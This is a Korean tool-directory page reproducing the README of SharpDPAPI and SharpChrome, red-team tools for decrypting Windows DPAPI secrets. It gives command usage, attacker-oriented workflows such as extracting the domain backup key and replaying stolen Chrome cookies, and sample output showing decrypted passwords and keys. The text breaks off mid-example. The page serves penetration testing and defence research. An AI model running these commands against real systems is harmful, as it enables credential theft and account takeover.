Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
SharpDPAPI — SharpDPAPI는 일부 Mimikatz DPAPI 기능의 C# 포트입니다. | Kitploit
도구/GitHubGitHub/ghostpack/sharpdpapi
Password CrackingEncryption/Decryption ToolsPersistence MechanismsExploitationData ExfiltrationPost-ExploitationPenetration TestingRed TeamingPersistence Mechanisms #8위
1.4k24992년 전Kitploit 검토 완료

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유
GitHub
ghostpack/sharpdpapi

SharpDPAPI

SharpDPAPI는 일부 Mimikatz DPAPI 기능의 C# 포트입니다.

저장소 보기

SharpDPAPI


SharpDPAPI는 @gentilkiwi의 Mimikatz 프로젝트에 있는 일부 DPAPI 기능의 C# 포트입니다.

이 로직은 제가 만든 것이 아니며, 단순히 Mimikatz에서 포팅한 것으로, 과정을 더 잘 이해하고 워크플로에 맞게 운영화하기 위함입니다.

SharpChrome 하위 프로젝트는 @gentilkiwi와 @djhohnstein의 작업, 특히 그의 SharpChrome 프로젝트를 각색한 것입니다. 그러나 이 버전의 SharpChrome은 잠금 없이 열기를 지원하는 C# SQL 라이브러리의 다른 버전을 사용합니다. SharpChrome은 사용된 SQLite 라이브러리의 크기 때문에 SharpDPAPI 내에서 별도 프로젝트로 빌드됩니다.

Chrome 및 더 새로운 Chromium 기반 Edge 브라우저 모두 SharpChrome으로 분석할 수 있습니다.

SharpChrome은 MIT 라이선스로 공개된 @AArnott의 BCrypt P/Invoke 코드의 축소된 버전도 사용합니다.

DPAPI에 익숙하지 않다면, 이 글에서 배경 정보를 확인하세요. 자격 증명 및 보관소(Valut)에 관한 DPAPI에 대한 자세한 내용은 Benjamin의 위키 항목을 확인하세요.

@harmj0y가 이 포트의 주요 작성자입니다.

SharpDPAPI는 BSD 3-Clause 라이선스로 제공됩니다.

목차

  • SharpDPAPI
    • 목차
    • 배경
      • SharpDPAPI 명령줄 사용법
      • SharpChrome 명령줄 사용법
      • 운영 사용법
        • SharpDPAPI
        • SharpChrome
    • SharpDPAPI 명령어
      • 사용자 분석
        • 마스터키
        • 자격 증명
        • 보관소
        • rdg
        • keepass
        • 인증서
        • 종합 분석
      • 시스템 분석
        • 시스템 마스터키
        • 시스템 자격 증명
        • 시스템 보관소
        • 인증서 /machine
        • 시스템 종합 분석
      • 기타
        • ps
        • blob
        • 백업키
        • 검색
        • SCCM
    • SharpChrome 명령어
      • 로그인
      • 쿠키
      • 상태키
      • 백업키
    • 컴파일 방법
      • 다른 .NET 버전 대상
      • 참고: PowerShell을 통한 SharpDPAPI 실행
        • 참고 참고: PSRemoting을 통한 SharpDPAPI 실행

배경

SharpDPAPI 명령줄 사용법

root@kitploit:~
  __                 _   _       _ ___
 (_  |_   _. ._ ._  | \ |_) /\  |_) |
 __) | | (_| |  |_) |_/ |  /--\ |  _|_
                |
  v1.20.0

도메인 컨트롤러의 DPAPI 백업 키를 가져옵니다. 선택적으로 DC와 출력 파일을 지정할 수 있습니다.

  SharpDPAPI backupkey [/nowrap] [/server:SERVER.domain] [/file:key.pvk]

*search* 명령은 레지스트리, 파일, 폴더 및 base64 blob에서 잠재적인 DPAPI blob을 검색합니다.

    search /type:registry [/path:HKLM\path\to\key] [/showErrors]
    search /type:folder /path:C:\path\to\folder [/maxBytes:<numOfBytes>] [/showErrors]
    search /type:file /path:C:\path\to\file [/maxBytes:<numOfBytes>]
    search /type:base64 [/base:<base64 string>]

시스템/SYSTEM 분석:

    machinemasterkeys       -   접근 가능한 모든 시스템 마스터키 파일 분석 (SYSTEM 권한으로 상승하여 DPAPI_SYSTEM LSA 비밀 검색)
    machinecredentials      -   'machinemasterkeys'를 사용한 후 시스템 자격 증명 파일 분석
    machinevaults           -   'machinemasterkeys'를 사용한 후 시스템 보관소 분석
    machinetriage           -   'machinecredentials' 및 'machinevaults' 명령 실행

사용자 분석:

    'masterkeys' 명령의 인수:

        /target:FILE/folder     -   특정 마스터키 또는 마스터키가 있는 폴더 분석 (지정하지 않으면 로컬 마스터키 분석)
        /pvk:BASE64...          -   Base64로 인코딩된 DPAPI 도메인 개인 키 파일을 사용하여 접근 가능한 사용자 마스터키를 먼저 복호화
        /pvk:key.pvk            -   DPAPI 도메인 개인 키 파일을 사용하여 접근 가능한 사용자 마스터키를 먼저 복호화
        /password:X             -   일반 텍스트 비밀번호를 사용하여 대상 사용자의 마스터키 복호화 (원격 가능)
        /ntlm:X                 -   NTLM 해시를 사용하여 대상 사용자의 마스터키 복호화 (원격 가능)
        /credkey:X              -   DPAPI credkey (도메인 또는 로컬 SHA1)를 사용하여 대상 사용자의 마스터키 복호화 (원격 가능)
        /rpc                    -   도메인 컨트롤러에 요청하여 대상 사용자의 마스터키 복호화
        /server:SERVER          -   원격 서버 분석 (관리자 권한 필요)
        /hashes                 -   사용자 마스터키 파일 '해시'를 JTR/Hashcat 형식으로 출력 (복호화 없음)

    credentials|vaults|rdg|keepass|triage|blob|ps 명령의 인수:

        복호화:
            /unprotect          -   'ps', 'rdg' 또는 'blob' 명령에 대해 CryptUnprotectData() 강제 사용
            /pvk:BASE64...      -   Base64로 인코딩된 DPAPI 도메인 개인 키 파일을 사용하여 접근 가능한 사용자 마스터키를 먼저 복호화
            /pvk:key.pvk        -   DPAPI 도메인 개인 키 파일을 사용하여 접근 가능한 사용자 마스터키를 먼저 복호화
            /password:X         -   일반 텍스트 비밀번호를 사용하여 대상 사용자의 마스터키 복호화 (원격 가능)
            /ntlm:X             -   NTLM 해시를 사용하여 대상 사용자의 마스터키 복호화 (원격 가능)
            /credkey:X          -   DPAPI credkey (도메인 또는 로컬 SHA1)를 사용하여 대상 사용자의 마스터키 복호화 (원격 가능)
            /rpc                -   도메인 컨트롤러에 요청하여 대상 사용자의 마스터키 복호화
            GUID1:SHA1 ...      -   하나 이상의 GUID:SHA1 마스터키를 사용하여 복호화
            /mkfile:FILE        -   하나 이상의 GUID:SHA1 마스터키가 포함된 파일 사용

        대상 지정:
            /target:FILE/folder -   특정 'Credentials', '.rdg|RDCMan.settings', 'blob' 또는 'ps' 파일 위치, 또는 'Vault' 폴더 분석
            /server:SERVER      -   원격 서버 분석 (관리자 권한 필요)
                                    참고: /pvk:KEY 또는 /password:X와 함께 사용해야 함
                                    참고: 'blob' 또는 'ps' 명령에는 적용되지 않음

인증서 분석:

    'certificates' 명령의 인수:
        /showall                                        -   설치된 인증서와 연결된 것뿐만 아니라 모든 복호화된 개인 키 파일 표시 (기본값)
        /machine                                        -   로컬 시스템 저장소를 사용하여 인증서 분석
        /mkfile | /target                               -   /machine 분석용
        [위의 사용자 분석에서 모든 복호화 인수]

참고: 대부분의 경우 사용자 DPAPI 비밀을 대상으로 하면 *triage*를, SYSTEM DPAPI 비밀을 대상으로 하면 *machinetriage*를 사용하세요.
      이 함수들은 자동으로 실행 가능한 다른 모든 함수를 래핑합니다.

SharpChrome 명령줄 사용법

root@kitploit:~
  __                 _
 (_  |_   _. ._ ._  /  |_  ._ _  ._ _   _
 __) | | (_| |  |_) \_ | | | (_) | | | (/_ 
                |
  v1.9.0

도메인 컨트롤러의 DPAPI 백업 키를 가져옵니다. 선택적으로 DC와 출력 파일을 지정할 수 있습니다.

  SharpChrome backupkey [/nowrap] [/server:SERVER.domain] [/file:key.pvk]

'cookies', 'logins', 'statekeys' 명령의 전역 인수:

    복호화:
        /unprotect          -   CryptUnprotectData() 강제 사용 (권한 없는 실행의 기본값)
        /pvk:BASE64...      -   Base64로 인코딩된 DPAPI 도메인 개인 키 파일을 사용하여 접근 가능한 사용자 마스터키를 먼저 복호화
        /pvk:key.pvk        -   DPAPI 도메인 개인 키 파일을 사용하여 접근 가능한 사용자 마스터키를 먼저 복호화
        /password:X         -   일반 텍스트 비밀번호를 사용하여 대상 사용자의 마스터키 복호화 (원격 가능)
        /ntlm:X             -   NTLM 해시를 사용하여 대상 사용자의 마스터키 복호화 (원격 가능)
        /prekey:X           -   DPAPI prekey (도메인 또는 로컬 SHA1)를 사용하여 대상 사용자의 마스터키 복호화 (원격 가능)
        /rpc                -   도메인 컨트롤러에 요청하여 대상 사용자의 마스터키 복호화
        GUID1:SHA1 ...      -   하나 이상의 GUID:SHA1 마스터키를 사용하여 복호화
        /statekey:X         -   복호화된 AES 상태 키 ('statekey' 명령에서 가져온 것)

    대상 지정:
        /target:FILE        -   특정 'Cookies', 'Login Data' 또는 'Local State' 파일 위치 분석
        /target:C:\Users\X\ -   지정된 명령에 대해 특정 사용자 폴더 분석
        /server:SERVER      -   원격 서버 분석 (관리자 권한 필요) (참고: /pvk:KEY와 함께 사용해야 함)
        /browser:X          -   'chrome'(기본값), (Chromium 기반) 'edge' 또는 'slack' 분석

    출력:
        /format:X           -   'csv'(기본값) 또는 'table' 표시
        /showall            -   null 비밀번호가 있는 Login Data 항목 및 만료된 쿠키를 필터링하지 않고 표시 (기본값은 필터링)
        /consoleoutfile:X   -   모든 콘솔 출력을 디스크 파일로 출력

'cookies' 명령 특정 인수:

        /cookie:"REGEX"     -   쿠키 이름이 제공된 regex와 일치하는 쿠키만 반환
        /url:"REGEX"        -   쿠키 URL이 제공된 regex와 일치하는 쿠키만 반환
        /format:json        -   EditThisCookie JSON 가져오기 형식으로 쿠키 값 출력. regex와 함께 사용하는 것이 가장 좋습니다!
        /setneverexpire     -   출력된 쿠키의 만료를 현재 시간 + 100년으로 설정 (json 출력용)

운영 사용법

SharpDPAPI

SharpDPAPI의 목표 중 하나는 Benjamin의 DPAPI 작업을 우리의 워크플로에 맞게 운영화하는 것입니다.

도구 세트를 어떻게 정확히 사용할지는 엔게이지먼트의 어떤 단계에 있는지에 따라 달라집니다. 일반적으로 이는 "도메인을 손상시켰는지 여부"로 나뉩니다.

도메인 관리자(또는 이와 동등한) 권한을 획득한 경우, backupkey 명령(또는 Mimikatz)으로 도메인 DPAPI 백업 키를 가져올 수 있습니다. 이 도메인 개인 키는 절대 변경되지 않으며, 도메인 사용자의 모든 DPAPI 마스터키를 복호화할 수 있습니다. 즉, 도메인 DPAPI 백업 키가 주어지면 공격자는 모든 도메인 사용자의 마스터키를 복호화할 수 있으며, 이를 사용하여 모든 보관소/자격 증명/Chrome 로그인/기타 DPAPI blob 등을 복호화할 수 있습니다. backupkey 명령에서 가져온 키는 masterkeys, credentials, vaults, rdg 또는 triage 명령과 함께 사용할 수 있습니다.

DA 권한을 획득하지 못한 경우, Mimikatz의 sekurlsa::dpapi 명령을 사용하여 특정 시스템에 로드된 모든 마스터키(사용자 및 SYSTEM)의 DPAPI 마스터키 {GUID}:SHA1 매핑을 가져올 수 있습니다(팁: 키 추출 후 dpapi::cache를 실행하면 멋진 테이블을 볼 수 있습니다). 이러한 키를 {GUID1}:SHA1 {GUID2}:SHA1... 형식으로 변경하면 credentials, vaults, rdg 또는 triage 명령에 제공할 수 있습니다. 이렇게 하면 현재 로그인한 모든 사용자의 모든 자격 증명 파일/보관소를 파일별로 복호화하지 않고도 분석할 수 있습니다.

또는 대상 사용자의 비밀번호, NTLM 해시 또는 DPAPI prekey를 제공할 수 있다면, 각각 /password:X, /ntlm:X 또는 /prekey:X와 함께 사용자 명령에 사용할 수 있습니다. 도메인 사용자의 경우 Mimikatz의 sekurlsa::msv 출력의 dpapi 필드를 /prekey로 사용할 수 있고, 로컬 사용자의 경우 sekurlsa::msv 출력의 sha1 필드를 /prekey로 사용할 수 있습니다.

RDG/RDCMan.settings 파일을 rdg 명령으로 복호화할 때, /unprotect 플래그는 CryptUnprotectData()를 사용하여 저장된 RDP 비밀번호를 복호화합니다. 단, 명령이 비밀번호를 저장한 사용자 컨텍스트에서 실행되어야 합니다. 이는 권한 없는 컨텍스트에서 수행할 수 있으며, LSASS를 건드릴 필요가 없습니다. 이 접근 방식이 자격 증명/보관소에 사용되지 않는 이유는 Benjamin의 문서를 참조하세요.

시스템 특정 DPAPI 분석의 경우, machinemasterkeys|machinecredentials|machinevaults|machinetriage 명령은 사용자 DPAPI 분석의 시스템 버전을 수행합니다. 상승된 컨텍스트(즉, 로컬 관리자 권한 필요)인 경우 SharpDPAPI는 SYSTEM 권한으로 상승하여 "DPAPI_SYSTEM" LSA 비밀을 검색하고, 이를 발견된 시스템 DPAPI 마스터키를 복호화하는 데 사용합니다. 이러한 키는 시스템 자격 증명/보관소 등의 조회 테이블로 사용됩니다.

공격적인 DPAPI에 대한 자세한 내용은 여기를 확인하세요.

SharpChrome

SharpChrome은 Chrome 전용 SharpDPAPI 구현으로, 쿠키 및 로그인 복호화/분석이 가능합니다. 사용된 SQLite 라이브러리의 크기 때문에 SharpDPAPI 내에서 별도 프로젝트로 빌드됩니다.

Chrome 쿠키/Login Data는 CRYPTPROTECT_SYSTEM 없이 저장되므로 CryptUnprotectData()를 다시 사용할 수 있습니다. SharpChrome이 권한 상승되지 않은 컨텍스트에서 실행되면 현재 사용자의 모든 로그인/쿠키를 CryptUnprotectData()를 사용하여 복호화하려고 시도합니다. /pvk:[BASE64|file.pvk], {GUID}:SHA1 조회 테이블, /password:X, /ntlm:X, /prekey:X 또는 {GUID}:SHA1 값이 포함된 /mkfile:FILE을 사용하여 값을 복호화할 수도 있습니다. 또한 사용된 C# SQL 라이브러리(일부 수정 포함)는 잠금 없이 열기를 지원하므로 Chrome을 닫을 필요가 없으며 대상 파일을 다른 위치로 복사할 필요가 없습니다.

또는 대상 사용자의 비밀번호, NTLM 해시 또는 DPAPI prekey를 제공할 수 있다면, 각각 /password:X, /ntlm:X 또는 /prekey:X와 함께 사용할 수 있습니다. 도메인 사용자의 경우 Mimikatz의 sekurlsa::msv 출력의 dpapi 필드를 /prekey로 사용할 수 있고, 로컬 사용자의 경우 sekurlsa::msv 출력의 sha1 필드를 /prekey로 사용할 수 있습니다.

Chrome 버전이 80 이상인 경우 AES 상태 키가 AppData\Local\Google\Chrome\User Data\Local State에 저장됩니다. 이 키는 DPAPI로 보호되므로 CryptUnprotectData()/pvk/마스터키 조회 테이블을 사용하여 복호화할 수 있습니다. 그런 다음 이 AES 키는 새로운 쿠키 및 로그인 데이터 항목을 보호하는 데 사용됩니다. /browser:edge 또는 /browser:brave를 지정한 경우에도 최신 Chromium 기반 Edge 브라우저 분석 시 동일한 과정입니다.

기본적으로 쿠키와 로그인은 csv로 표시됩니다. 이는 /format:table을 사용하여 테이블 출력으로 변경할 수 있으며, 쿠키의 경우 /format:json을 사용할 수 있습니다. json 옵션은 EditThisCookie Chrome 확장 프로그램에 가져올 수 있는 json 형식으로 쿠키를 출력하여 쉽게 재사용할 수 있습니다.

cookies 명령에는 /cookie:REGEX 및 /url:REGEX 인수도 있어 제공된 regex와 일치하는 쿠키 이름 또는 URL만 반환할 수 있습니다. 이는 /format:json과 함께 사용하여 특정 사이트에 대한 접근을 쉽게 복제하는 데 유용합니다.

특정 쿠키/로그인/상태키 파일은 /target:X로 지정할 수 있으며, 사용자 폴더는 모든 분석 명령에 대해 /target:C:\Users\USER\로 지정할 수 있습니다.

SharpDPAPI 명령어

사용자 분석

masterkeys

masterkeys 명령은 읽을 수 있는 사용자 마스터키 파일을 검색하고 제공된 도메인 DPAPI 백업 키를 사용하여 복호화합니다. 마스터키 {GUID}:SHA1 매핑 세트를 반환합니다.

/password:X는 사용자의 현재 마스터키를 복호화하는 데 사용할 수 있습니다. 도메인에 가입된 시스템의 경우 비밀번호는 일반 텍스트 또는 NTLM 형식으로 제공될 수 있습니다. /target이 /password와 함께 제공된 경우 사용자의 전체 도메인 SID(/sid:X)도 지정해야 합니다.

도메인 백업 키는 base64 형식(/pvk:BASE64...) 또는 파일 형식(/pvk:key.pvk)일 수 있습니다.

root@kitploit:~
C:\Temp>SharpDPAPI.exe masterkeys /pvk:key.pvk

  __                 _   _       _ ___
 (_  |_   _. ._ ._  | \ |_) /\  |_) |
 __) | | (_| |  |_) |_/ |  /--\ |  _|_
                |
  v1.2.0

[*] Action: Triage User Masterkey Files

[*] Found MasterKey : C:\Users\admin\AppData\Roaming\Microsoft\Protect\S-1-5-21-1473254003-2681465353-4059813368-1000\28678d89-678a-404f-a197-f4186315c4fa
[*] Found MasterKey : C:\Users\harmj0y\AppData\Roaming\Microsoft\Protect\S-1-5-21-883232822-274137685-4173207997-1111\3858b304-37e5-48aa-afa2-87aced61921a
...(snip)...

[*] User master key cache:

{42e95117-ff5f-40fa-a6fc-87584758a479}:4C802894C566B235B7F34B011316...(snip)...
...(snip)...

/password 또는 /pvk가 지정되지 않은 경우 /hashes 플래그를 전달하여 John/Hashcat 형식으로 마스터키 해시를 덤프할 수 있습니다. 이 모드에서는 해시가 {GUID}:DPAPImk 형식으로 출력됩니다.

Preferred 키도 구문 분석되어 현재 선호하는 마스터키를 강조 표시하므로 이전 키를 크래킹하는 데 시간을 낭비하지 않아도 됩니다.

root@kitploit:~
C:\Temp>SharpDPAPI.exe masterkeys /hashes

  __                 _   _       _ ___
 (_  |_   _. ._ ._  | \ |_) /\  |_) |
 __) | | (_| |  |_) |_/ |  /--\ |  _|_
                |
  v1.11.3

[*] Action: User DPAPI Masterkey File Triage

[*] Will dump user masterkey hashes

[*] Found MasterKey : C:\Users\admin\AppData\Roaming\Microsoft\Protect\S-1-5-21-1473254003-2681465353-4059813368-1000\28678d89-678a-404f-a197-f4186315c4fa
[*] Found MasterKey : C:\Users\harmj0y\AppData\Roaming\Microsoft\Protect\S-1-5-21-883232822-274137685-4173207997-1111\3858b304-37e5-48aa-afa2-87aced61921a
...(snip)...

[*] Preferred master keys:

C:\Users\admin\AppData\Roaming\Microsoft\Protect\S-1-5-21-1473254003-2681465353-4059813368-1000\28678d89-678a-404f-a197-f4186315c4fa
C:\Users\harmj0y\AppData\Roaming\Microsoft\Protect\S-1-5-21-883232822-274137685-4173207997-1111\3858b304-37e5-48aa-afa2-87aced61921a

[*] User master key hashes:

{42e95117-ff5f-40fa-a6fc-87584758a479}:$DPAPImk$1*3*S-1-5-21-1473254003-2681465353-4059813368-1000*des3*sha1*18000*09c49e9af9...(snip)...

credentialscredentials 명령은 Credential 파일을 검색하고, a) 전달된 "{GUID}:SHA1" 마스터키로 복호화하거나, b) 하나 이상의 {GUID}:SHA1 마스터키 매핑이 있는 /mkfile:FILE을 사용하거나, c) 제공된 DPAPI 도메인 백업 키( 또는 )를 사용하여 먼저 사용자 마스터키를 복호화하거나(와 유사), d) 를 사용하여 사용자 마스터키를 복호화한 다음 조회 복호화 테이블로 사용합니다. DPAPI GUID 매핑은 Mimikatz의 명령으로 복구할 수 있습니다.

특정 credential 파일(또는 credential 폴더)은 /target:FILE 또는 /target:C:\Folder\로 지정할 수 있습니다. 파일이 지정된 경우 {GUID}:SHA1 값이 필요하며, 폴더가 지정된 경우 a) {GUID}:SHA1 값을 제공하거나 b) 폴더에 DPAPI 마스터키가 포함되고 /pvk 도메인 백업 키가 제공되어야 합니다.

상승된 컨텍스트에서 실행되면 모든 사용자의 Credential 파일이 분류되고, 그렇지 않으면 현재 사용자의 Credential 파일만 처리됩니다.

도메인 {GUID}:SHA1 마스터키 매핑 사용:

root@kitploit:~
C:\Temp>SharpDPAPI.exe credentials {44ca9f3a-9097-455e-94d0-d91de951c097}:9b049ce6918ab89937687...(snip)... {feef7b25-51d6-4e14-a52f-eb2a387cd0f3}:f9bc09dad3bc2cd00efd903...(snip)...

  __                 _   _       _ ___
 (_  |_   _. ._ ._  | \ |_) /\  |_) |
 __) | | (_| |  |_) |_/ |  /--\ |  _|_
                |
  v1.2.0


[*] Action: User DPAPI Credential Triage

[*] Triaging Credentials for ALL users


Folder       : C:\Users\harmj0y\AppData\Local\Microsoft\Credentials\

  CredFile           : 48C08A704ADBA03A93CD7EC5B77C0EAB

    guidMasterKey    : {885342c6-028b-4ecf-82b2-304242e769e0}
    size             : 436
    flags            : 0x20000000 (CRYPTPROTECT_SYSTEM)
    algHash/algCrypt : 32772/26115
    description      : Local Credential Data

    LastWritten      : 1/22/2019 2:44:40 AM
    TargetName       : Domain:target=TERMSRV/10.4.10.101
    TargetAlias      :
    Comment          :
    UserName         : DOMAIN\user
    Credential       : Password!

  ...(snip)...

도메인 DPAPI 백업 키를 사용하여 발견 가능한 마스터키를 먼저 복호화:

root@kitploit:~
C:\Temp>SharpDPAPI.exe credentials /pvk:HvG1sAAAAAABAAAAAAAAAAAAAAC...(snip)...

  __                 _   _       _ ___
 (_  |_   _. ._ ._  | \ |_) /\  |_) |
 __) | | (_| |  |_) |_/ |  /--\ |  _|_
                |
  v1.2.0


[*] Action: User DPAPI Credential Triage

[*] Using a domain DPAPI backup key to triage masterkeys for decryption key mappings!

[*] User master key cache:

{42e95117-ff5f-40fa-a6fc-87584758a479}:4C802894C566B235B7F34B011316E94CC4CE4665
...(snip)...

[*] Triaging Credentials for ALL users


Folder       : C:\Users\harmj0y\AppData\Local\Microsoft\Credentials\

  CredFile           : 48C08A704ADBA03A93CD7EC5B77C0EAB

    guidMasterKey    : {885342c6-028b-4ecf-82b2-304242e769e0}
    size             : 436
    flags            : 0x20000000 (CRYPTPROTECT_SYSTEM)
    algHash/algCrypt : 32772/26115
    description      : Local Credential Data

    LastWritten      : 1/22/2019 2:44:40 AM
    TargetName       : Domain:target=TERMSRV/10.4.10.101
    TargetAlias      :
    Comment          :
    UserName         : DOMAIN\user
    Credential       : Password!

...(snip)...

vaults

vaults 명령은 Vault를 검색하고, a) 전달된 "{GUID}:SHA1" 마스터키로 복호화하거나, b) 하나 이상의 {GUID}:SHA1 마스터키 매핑이 있는 /mkfile:FILE을 사용하거나, c) 제공된 DPAPI 도메인 백업 키(/pvk:BASE64... 또는 /pvk:key.pvk)를 사용하여 먼저 사용자 마스터키를 복호화하거나(masterkeys와 유사), d) /password:X를 사용하여 사용자 마스터키를 복호화한 다음 조회 복호화 테이블로 사용합니다. DPAPI GUID 매핑은 Mimikatz의 sekurlsa::dpapi 명령으로 복구할 수 있습니다.

Vault 폴더의 Policy.vpol 폴더는 제공된 DPAPI 키로 복호화되어 연결된 AES 복호화 키를 검색한 다음, 이를 사용하여 연결된 .vcrd 파일을 복호화합니다.

특정 vault 폴더는 /target:C:\Folder\로 지정할 수 있습니다. 이 경우 a) {GUID}:SHA1 값을 제공하거나 b) 폴더에 DPAPI 마스터키가 포함되고 /pvk 도메인 백업 키가 제공되어야 합니다.

도메인 {GUID}:SHA1 마스터키 매핑 사용:

root@kitploit:~
C:\Temp>SharpDPAPI.exe vaults {44ca9f3a-9097-455e-94d0-d91de951c097}:9b049ce6918ab89937687...(snip)... {feef7b25-51d6-4e14-a52f-eb2a387cd0f3}:f9bc09dad3bc2cd00efd903...(snip)...
  __                 _   _       _ ___
 (_  |_   _. ._ ._  | \ |_) /\  |_) |
 __) | | (_| |  |_) |_/ |  /--\ |  _|_
                |
  v1.2.0


[*] Action: User DPAPI Vault Triage

[*] Triaging Vaults for ALL users


[*] Triaging Vault folder: C:\Users\harmj0y\AppData\Local\Microsoft\Vault\4BF4C442-9B8A-41A0-B380-DD4A704DDB28

  VaultID            : 4bf4c442-9b8a-41a0-b380-dd4a704ddb28
  Name               : Web Credentials
    guidMasterKey    : {feef7b25-51d6-4e14-a52f-eb2a387cd0f3}
    size             : 240
    flags            : 0x20000000 (CRYPTPROTECT_SYSTEM)
    algHash/algCrypt : 32772/26115
    description      :
    aes128 key       : EDB42294C0721F2F1638A40F0CD67CD8
    aes256 key       : 84CD64B5F438B8B9DA15238A5CFA418C04F9BED6B4B4CCAC9705C36C65B5E793

    LastWritten      : 10/12/2018 12:10:42 PM
    FriendlyName     : Internet Explorer
    Identity         : admin
    Resource         : https://10.0.0.1/
    Authenticator    : Password!

...(snip)...

도메인 DPAPI 백업 키를 사용하여 발견 가능한 마스터키를 먼저 복호화:

root@kitploit:~
C:\Temp>SharpDPAPI.exe credentials /pvk:HvG1sAAAAAABAAAAAAAAAAAAAAC...(snip)...
  __                 _   _       _ ___
 (_  |_   _. ._ ._  | \ |_) /\  |_) |
 __) | | (_| |  |_) |_/ |  /--\ |  _|_
                |
  v1.2.0


[*] Action: DPAPI Vault Triage

[*] Using a domain DPAPI backup key to triage masterkeys for decryption key mappings!

[*] User master key cache:

{42e95117-ff5f-40fa-a6fc-87584758a479}:4C802894C566B235B7F34B011316E94CC4CE4665
...(snip)...

[*] Triaging Vaults for ALL users


[*] Triaging Vault folder: C:\Users\harmj0y\AppData\Local\Microsoft\Vault\4BF4C442-9B8A-41A0-B380-DD4A704DDB28

  VaultID            : 4bf4c442-9b8a-41a0-b380-dd4a704ddb28
  Name               : Web Credentials
    guidMasterKey    : {feef7b25-51d6-4e14-a52f-eb2a387cd0f3}
    size             : 240
    flags            : 0x20000000 (CRYPTPROTECT_SYSTEM)
    algHash/algCrypt : 32772/26115
    description      :
    aes128 key       : EDB42294C0721F2F1638A40F0CD67CD8
    aes256 key       : 84CD64B5F438B8B9DA15238A5CFA418C04F9BED6B4B4CCAC9705C36C65B5E793

    LastWritten      : 10/12/2018 12:10:42 PM
    FriendlyName     : Internet Explorer
    Identity         : admin
    Resource         : https://10.0.0.1/
    Authenticator    : Password!

...(snip)...

폴더가 지정된 도메인 DPAPI 백업 키 사용 (예: "오프라인" 분류):

root@kitploit:~
C:\Temp>SharpDPAPI.exe vaults /target:C:\Temp\test\ /pvk:HvG1sAAAAAABAAAAAAAAAAAAAAC...(snip)...

  __                 _   _       _ ___
 (_  |_   _. ._ ._  | \ |_) /\  |_) |
 __) | | (_| |  |_) |_/ |  /--\ |  _|_
                |
  v1.2.0


[*] Action: User DPAPI Vault Triage

[*] Using a domain DPAPI backup key to triage masterkeys for decryption key mappings!

[*] User master key cache:

{42e95117-ff5f-40fa-a6fc-87584758a479}:4C802894C566B235B7F34B011316E94CC4CE4665
...(snip)...

[*] Target Vault Folder: C:\Temp\test\


[*] Triaging Vault folder: C:\Temp\test\

  VaultID            : 4bf4c442-9b8a-41a0-b380-dd4a704ddb28
  Name               : Web Credentials
    guidMasterKey    : {feef7b25-51d6-4e14-a52f-eb2a387cd0f3}
    size             : 240
    flags            : 0x20000000 (CRYPTPROTECT_SYSTEM)
    algHash/algCrypt : 32772/26115
    description      :
    aes128 key       : EDB42294C0721F2F1638A40F0CD67CD8
    aes256 key       : 84CD64B5F438B8B9DA15238A5CFA418C04F9BED6B4B4CCAC9705C36C65B5E793

    LastWritten      : 3/20/2019 6:03:50 AM
    FriendlyName     : Internet Explorer
    Identity         : account
    Resource         : http://www.abc.com/
    Authenticator    : password

rdg

rdg 명령은 현재 사용자(또는 상승된 경우 모든 사용자)의 RDCMan.settings 파일을 검색하고, a) 전달된 "{GUID}:SHA1" 마스터키로 복호화하거나, b) 하나 이상의 {GUID}:SHA1 마스터키 매핑이 있는 /mkfile:FILE을 사용하거나, c) 제공된 DPAPI 도메인 백업 키(/pvk:BASE64... 또는 /pvk:key.pvk)를 사용하여 먼저 사용자 마스터키를 복호화하거나(masterkeys와 유사), d) /password:X를 사용하여 사용자 마스터키를 복호화한 다음 조회 복호화 테이블로 사용합니다. DPAPI GUID 매핑은 Mimikatz의 sekurlsa::dpapi 명령으로 복구할 수 있습니다.

/unprotect 플래그는 CryptUnprotectData()를 사용하여 저장된 RDP 암호를 복호화합니다. 단, 명령이 암호를 저장한 사용자 컨텍스트에서 실행되어야 합니다. 이는 권한이 없는 컨텍스트에서 수행할 수 있으며, LSASS를 건드릴 필요가 없습니다. 이 접근 방식이 credentials/vaults에 사용되지 않는 이유는 Benjamin의 여기 문서를 참조하세요.

특정 RDCMan.settings 파일, .RDC 파일(또는 .RDG 파일 폴더)은 /target:FILE 또는 /target:C:\Folder\로 지정할 수 있습니다. 파일이 지정된 경우 {GUID}:SHA1 값(또는 /unprotect)이 필요하며, 폴더가 지정된 경우 a) {GUID}:SHA1 값을 제공하거나 b) 폴더에 DPAPI 마스터키가 포함되고 /pvk 도메인 백업 키가 제공되어야 합니다.

이 명령은 RDCMan.settings 파일과 RDCMan.settings 파일에서 참조하는 .RDG 파일 모두에 저장된 모든 암호 정보를 복호화합니다.

/unprotect를 사용하여 발견된 암호 복호화:

root@kitploit:~
C:\Temp>SharpDPAPI.exe rdg /unprotect

  __                 _   _       _ ___
 (_  |_   _. ._ ._  | \ |_) /\  |_) |
 __) | | (_| |  |_) |_/ |  /--\ |  _|_
                |
  v1.3.0


[*] Action: RDG Triage

[*] Using CryptUnprotectData() to decrypt RDG passwords

[*] Triaging RDCMan Settings Files for current user

    RDCManFile    : C:\Users\harmj0y\AppData\Local\Microsoft\Remote Desktop Connection Manager\RDCMan.settings
    Accessed      : 5/9/2019 11:52:58 AM
    Modified      : 5/9/2019 11:52:58 AM
    Recent Server : test\primary.testlab.local

        Cred Profiles

          Profile Name : testprofile
            UserName   : testlab.local\dfm
            Password   : Password123!

        Default Logon Credentials

          Profile Name : Custom
            UserName   : TESTLAB\harmj0y
            Password   : Password123!

      C:\Users\harmj0y\Documents\test.rdg

        Servers

          Name         : secondary.testlab.local

          Name         : primary.testlab.local
          Profile Name : Custom
            UserName   : TESTLAB\dfm.a
            Password   : Password123!

도메인 {GUID}:SHA1 마스터키 매핑 사용:

root@kitploit:~
C:\Temp>SharpDPAPI.exe rdg {8abc35b1-b718-4a86-9781-7fd7f37101dd}:ae349cdd3a230f5e04f70fd02be69e2e71f1b017

  __                 _   _       _ ___
